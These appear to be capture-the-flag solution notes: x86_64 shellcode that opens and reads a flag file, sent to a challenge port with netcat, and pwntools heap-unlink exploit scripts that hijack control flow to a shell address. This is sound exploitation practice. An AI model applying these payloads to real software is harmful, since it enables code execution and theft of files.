function betting is trick
syscall reference https://w3challs.com/syscalls/?arch=x86_64
- push flag to stack
- read flag
- output
be careful about little endian
Script
from pwn import *
context.arch='x86_64'
code=("""
push rbp
mov rbp,rsp
mov rax,0x00676e6f306f306f
push rax
mov rax,0x306f306f306f306f
push rax
mov rax,0x3030303030303030
push rax
mov rax,0x303030306f6f6f6f
push rax
mov rax,0x6f6f6f6f6f6f6f6f
push rax
mov rax,0x6f6f6f6f6f6f6f6f
push rax
mov rax,0x6f6f6f3030303030
push rax
mov rax,0x3030303030303030
push rax
mov rax,0x3030303030303030
push rax
mov rax,0x303030306f6f6f6f
push rax
mov rax,0x6f6f6f6f6f6f6f6f
push rax
mov rax,0x6f6f6f6f6f6f6f6f
push rax
mov rax,0x6f6f6f6f6f6f6f6f
push rax
mov rax,0x6f6f6f6f6f6f6f6f
push rax
mov rax,0x6f6f6f6f6f6f6f6f
push rax
mov rax,0x6f6f6f6f6f6f6f6f
push rax
mov rax,0x6f6f6f6f6f6f6f6f
push rax
mov rax,0x6f6f6f6f6f6f6f6f
push rax
mov rax,0x6f6f6f6f6f6f6f6f
push rax
mov rax,0x6c5f797265765f73
push rax
mov rax,0x695f656d616e5f65
push rax
mov rax,0x6c69665f6568745f
push rax
mov rax,0x7972726f732e656c
push rax
mov rax,0x69665f736968745f
push rax
mov rax,0x646165725f657361
push rax
mov rax,0x656c705f656c6966
push rax
mov rax,0x5f67616c665f726b
push rax
mov rax,0x2e656c62616e7770
push rax
mov rax,0x5f73695f73696874
push rax
mov rcx,rsp
mov rax,0x2
mov rdi,rcx
mov rsi,0x0
mov rdx,0x0000400
syscall
mov r8,rax
sub rsp,0x100
mov rax,0x0
mov rdi,r8
mov rsi,rsp
mov rdx,0x100
syscall
mov rax,0x1
mov rdi,0x1
mov rsi,rsp
mov rdx,0x100
syscall
mov rax,0x3c
mov rdi,0x0
syscall
""")
str1=asm(code)
shellcode=str1
with open('/tmp/code','w+') as f:
f.write(shellcode)
get flag
nc 0 9026 < /tmp/code
def malloc_chunk_size(n):
if n < 12:
size=16
else:
if (n+4)%8==0:
size=n+4
else:
size=8*((n+4)//8+1)
return size
for i in range(3,13):
p=2**i
while malloc_chunk_size(p)%16 !=0:
p=p+1
print p
main function disassem after unlink
call unlink
add esp, 10h
mov eax, 0
mov ecx, [ebp-4]
leave
lea esp, [ecx-4]
retn
set ebp to heap address when return from unlink, just like we build a fake stack on heap (don't care esp, we don't need it anymore after returning from unlink )
from pwn import *
c=process("./unlink")
s=c.recvuntil("\n")
stackAdd=int(s[-11:-1],16)
s=c.recvuntil("\n")
heapAdd=int(s[-11:-1],16)
payload=pack(0x080484eb)
payload+=p32(heapAdd+12)
payload+="a"*8
payload+=p32(heapAdd+16)
payload+=p32(stackAdd-0x1c)# unlink return address, change it to heap
c.sendline(payload)
c.interactive()
main return address is stored in *(*(ebp-4)-4)
, change the value in ebp-4 to heap address where we write shell address
from pwn import *
c=process("./unlink")
s=c.recvuntil("\n")
stackAdd=int(s[-11:-1],16)
s=c.recvuntil("\n")
heapAdd=int(s[-11:-1],16)
dic={
0:p32(0x080484eb),
16:p32(heapAdd+12),
20:p32(stackAdd+0x10)
}
payload=fit(dic)
c.sendline(payload)
c.interactive()